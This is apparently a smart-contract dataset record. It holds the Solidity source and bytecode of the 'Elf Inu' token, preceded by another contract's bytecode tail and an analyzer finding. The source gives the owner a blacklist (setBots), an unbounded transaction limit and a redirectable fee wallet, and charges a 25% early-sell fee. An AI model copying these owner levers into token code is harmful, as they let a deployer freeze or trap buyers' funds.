fffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea2646970667358221220c480fc7361c71d7200da832fe20e8dc6fdf15197e64942d0b93edbceda4ddc4f64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,488 |
0x76A3A0AFc3a310094a4C0f4F35090232b1bDFBF2
|
/**
*Submitted for verification at Etherscan.io on 2021-12-21
*/
// https://t.me/elfinueth
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElfInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (type(uint256).max - (type(uint256).max % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _ethSent = 0;
address payable public _feeAddrWallet;
string private constant _name = "Elf Inu";
string private constant _symbol = "BUDDY";
uint8 private constant _decimals = 9;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferType(uint256 ethSent, uint256 transferType, uint256 amount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable feeAddrWallet) {
_feeAddrWallet = feeAddrWallet;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function updateFeeWallet(address payable newFeeWallet) external onlyOwner {
_feeAddrWallet = newFeeWallet;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 transferType = 0;
if (!_isBuy(from)) {
if (_buyMap[from] != 0 &&
(_buyMap[from] + (24 hours) >= block.timestamp)) {
_feeAddr1 = 0;
_feeAddr2 = 25; //M 15 G 5
transferType = 1;
} else {
_feeAddr1 = 0;
_feeAddr2 = 12; //M 8 G 2
transferType = 2;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 8;
_feeAddr2 = 10; // M 0 G 2
transferType = 3;
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
_feeAddr1 = 0;
_feeAddr2 = 0;
transferType = 0;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 _feeAddr1Before = _feeAddr1;
uint256 _feeAddr2Before = _feeAddr2;
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
_ethSent = contractETHBalance;
}
_feeAddr1 = _feeAddr1Before;
_feeAddr2 = _feeAddr2Before;
}
}
_tokenTransfer(from, to, amount);
emit TransferType(_ethSent, transferType, amount);
_ethSent=0;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063c2d0ffca1161008a578063cc653b4411610064578063cc653b441461045f578063dd62ed3e14610495578063f2fde38b146104db578063ff872602146104fb57600080fd5b8063c2d0ffca14610415578063c3c8cd8014610435578063c9567bf91461044a57600080fd5b8063715018a6146103745780638da5cb5b1461038957806395d89b41146103a7578063a9059cbb146103d5578063b515566a146103f5578063bc3371821461041557600080fd5b8063313ce5671161013e5780635932ead1116101185780635932ead1146102ff578063667185241461031f5780636fc3eaec1461033f57806370a082311461035457600080fd5b8063313ce567146102a357806341e978fa146102bf57806349bd5a5e146102df57600080fd5b806306fdde0314610191578063095ea7b3146101d35780631694505e1461020357806318160ddd1461023b57806323b872dd14610261578063273123b71461028157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b50604080518082019091526007815266456c6620496e7560c81b60208201525b6040516101ca9190611bc1565b60405180910390f35b3480156101df57600080fd5b506101f36101ee366004611a52565b610510565b60405190151581526020016101ca565b34801561020f57600080fd5b50600f54610223906001600160a01b031681565b6040516001600160a01b0390911681526020016101ca565b34801561024757600080fd5b50683635c9adc5dea000005b6040519081526020016101ca565b34801561026d57600080fd5b506101f361027c366004611a12565b610527565b34801561028d57600080fd5b506102a161029c3660046119a2565b610590565b005b3480156102af57600080fd5b50604051600981526020016101ca565b3480156102cb57600080fd5b50600e54610223906001600160a01b031681565b3480156102eb57600080fd5b50601054610223906001600160a01b031681565b34801561030b57600080fd5b506102a161031a366004611b44565b6105e4565b34801561032b57600080fd5b506102a161033a3660046119a2565b61062c565b34801561034b57600080fd5b506102a1610678565b34801561036057600080fd5b5061025361036f3660046119a2565b6106a5565b34801561038057600080fd5b506102a16106c7565b34801561039557600080fd5b506000546001600160a01b0316610223565b3480156103b357600080fd5b50604080518082019091526005815264425544445960d81b60208201526101bd565b3480156103e157600080fd5b506101f36103f0366004611a52565b6106fd565b34801561040157600080fd5b506102a1610410366004611a7d565b61070a565b34801561042157600080fd5b506102a1610430366004611b7c565b6107ae565b34801561044157600080fd5b506102a16107dd565b34801561045657600080fd5b506102a1610813565b34801561046b57600080fd5b5061025361047a3660046119a2565b6001600160a01b031660009081526004602052604090205490565b3480156104a157600080fd5b506102536104b03660046119da565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156104e757600080fd5b506102a16104f63660046119a2565b610bd7565b34801561050757600080fd5b506102a1610c6f565b600061051d338484610ca8565b5060015b92915050565b6000610534848484610dcc565b610586843361058185604051806060016040528060288152602001611d92602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611239565b610ca8565b5060019392505050565b6000546001600160a01b031633146105c35760405162461bcd60e51b81526004016105ba90611c14565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b0316331461060e5760405162461bcd60e51b81526004016105ba90611c14565b60108054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106565760405162461bcd60e51b81526004016105ba90611c14565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b600e546001600160a01b0316336001600160a01b03161461069857600080fd5b476106a281611273565b50565b6001600160a01b038116600090815260026020526040812054610521906112ad565b6000546001600160a01b031633146106f15760405162461bcd60e51b81526004016105ba90611c14565b6106fb6000611331565b565b600061051d338484610dcc565b6000546001600160a01b031633146107345760405162461bcd60e51b81526004016105ba90611c14565b60005b81518110156107aa5760016007600084848151811061076657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107a281611d27565b915050610737565b5050565b6000546001600160a01b031633146107d85760405162461bcd60e51b81526004016105ba90611c14565b601155565b600e546001600160a01b0316336001600160a01b0316146107fd57600080fd5b6000610808306106a5565b90506106a281611381565b6000546001600160a01b0316331461083d5760405162461bcd60e51b81526004016105ba90611c14565b601054600160a01b900460ff16156108975760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105ba565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108d43082683635c9adc5dea00000610ca8565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561090d57600080fd5b505afa158015610921573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094591906119be565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561098d57600080fd5b505afa1580156109a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c591906119be565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a0d57600080fd5b505af1158015610a21573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4591906119be565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610a75816106a5565b600080610a8a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610aed57600080fd5b505af1158015610b01573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b269190611b94565b5050601080546801158e460913d0000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b9f57600080fd5b505af1158015610bb3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107aa9190611b60565b6000546001600160a01b03163314610c015760405162461bcd60e51b81526004016105ba90611c14565b6001600160a01b038116610c665760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ba565b6106a281611331565b6000546001600160a01b03163314610c995760405162461bcd60e51b81526004016105ba90611c14565b683635c9adc5dea00000601155565b6001600160a01b038316610d0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ba565b6001600160a01b038216610d6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ba565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ba565b6001600160a01b038216610e925760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ba565b60008111610ef45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ba565b6000610f0e846010546001600160a01b0391821691161490565b610f87576001600160a01b03841660009081526004602052604090205415801590610f5f57506001600160a01b0384166000908152600460205260409020544290610f5c9062015180611cb9565b10155b15610f7657506000600b556019600c556001610fce565b506000600b55600c80556002610fce565b6001600160a01b038316600090815260046020526040902054610fc0576001600160a01b03831660009081526004602052604090204290555b506008600b55600a600c5560035b6001600160a01b03841660009081526006602052604090205460ff168061100d57506001600160a01b03831660009081526006602052604090205460ff165b1561102057506000600b819055600c8190555b6000546001600160a01b0385811691161480159061104c57506000546001600160a01b03848116911614155b156111e0576001600160a01b03841660009081526007602052604090205460ff1615801561109357506001600160a01b03831660009081526007602052604090205460ff16155b61109c57600080fd5b6010546001600160a01b0385811691161480156110c75750600f546001600160a01b03848116911614155b80156110ec57506001600160a01b03831660009081526006602052604090205460ff16155b80156111015750601054600160b81b900460ff165b1561115e5760115482111561111557600080fd5b6001600160a01b038316600090815260086020526040902054421161113957600080fd5b61114442601e611cb9565b6001600160a01b0384166000908152600860205260409020555b6000611169306106a5565b601054909150600160a81b900460ff1615801561119457506010546001600160a01b03868116911614155b80156111a95750601054600160b01b900460ff165b156111de57600b54600c546111bd83611381565b4780156111d3576111cd47611273565b600d8190555b50600b91909155600c555b505b6111eb848484611526565b600d54604080519182526020820183905281018390527f52cc9b3b9b2fbca105996d3a85d38c08aa29f0228c897d6e2ab118a3c0ea8bfd9060600160405180910390a150506000600d555050565b6000818484111561125d5760405162461bcd60e51b81526004016105ba9190611bc1565b50600061126a8486611d10565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107aa573d6000803e3d6000fd5b60006009548211156113145760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ba565b600061131e611536565b905061132a8382611559565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113d757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561142b57600080fd5b505afa15801561143f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146391906119be565b8160018151811061148457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546114aa9130911684610ca8565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114e3908590600090869030904290600401611c49565b600060405180830381600087803b1580156114fd57600080fd5b505af1158015611511573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b61153183838361159b565b505050565b6000806000611543611692565b90925090506115528282611559565b9250505090565b600061132a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116d4565b6000806000806000806115ad87611702565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115df908761175f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461160e90866117a1565b6001600160a01b03891660009081526002602052604090205561163081611800565b61163a848361184a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161167f91815260200190565b60405180910390a3505050505050505050565b6009546000908190683635c9adc5dea000006116ae8282611559565b8210156116cb57505060095492683635c9adc5dea0000092509050565b90939092509050565b600081836116f55760405162461bcd60e51b81526004016105ba9190611bc1565b50600061126a8486611cd1565b600080600080600080600080600061171f8a600b54600c5461186e565b925092509250600061172f611536565b905060008060006117428e8787876118c3565b919e509c509a509598509396509194505050505091939550919395565b600061132a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611239565b6000806117ae8385611cb9565b90508381101561132a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ba565b600061180a611536565b905060006118188383611913565b3060009081526002602052604090205490915061183590826117a1565b30600090815260026020526040902055505050565b600954611857908361175f565b600955600a5461186790826117a1565b600a555050565b600080808061188860646118828989611913565b90611559565b9050600061189b60646118828a89611913565b905060006118b3826118ad8b8661175f565b9061175f565b9992985090965090945050505050565b60008080806118d28886611913565b905060006118e08887611913565b905060006118ee8888611913565b90506000611900826118ad868661175f565b939b939a50919850919650505050505050565b60008261192257506000610521565b600061192e8385611cf1565b90508261193b8583611cd1565b1461132a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ba565b803561199d81611d6e565b919050565b6000602082840312156119b3578081fd5b813561132a81611d6e565b6000602082840312156119cf578081fd5b815161132a81611d6e565b600080604083850312156119ec578081fd5b82356119f781611d6e565b91506020830135611a0781611d6e565b809150509250929050565b600080600060608486031215611a26578081fd5b8335611a3181611d6e565b92506020840135611a4181611d6e565b929592945050506040919091013590565b60008060408385031215611a64578182fd5b8235611a6f81611d6e565b946020939093013593505050565b60006020808385031215611a8f578182fd5b823567ffffffffffffffff80821115611aa6578384fd5b818501915085601f830112611ab9578384fd5b813581811115611acb57611acb611d58565b8060051b604051601f19603f83011681018181108582111715611af057611af0611d58565b604052828152858101935084860182860187018a1015611b0e578788fd5b8795505b83861015611b3757611b2381611992565b855260019590950194938601938601611b12565b5098975050505050505050565b600060208284031215611b55578081fd5b813561132a81611d83565b600060208284031215611b71578081fd5b815161132a81611d83565b600060208284031215611b8d578081fd5b5035919050565b600080600060608486031215611ba8578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611bed57858101830151858201604001528201611bd1565b81811115611bfe5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c985784516001600160a01b031683529383019391830191600101611c73565b50506001600160a01b039690961660608501525050506080015293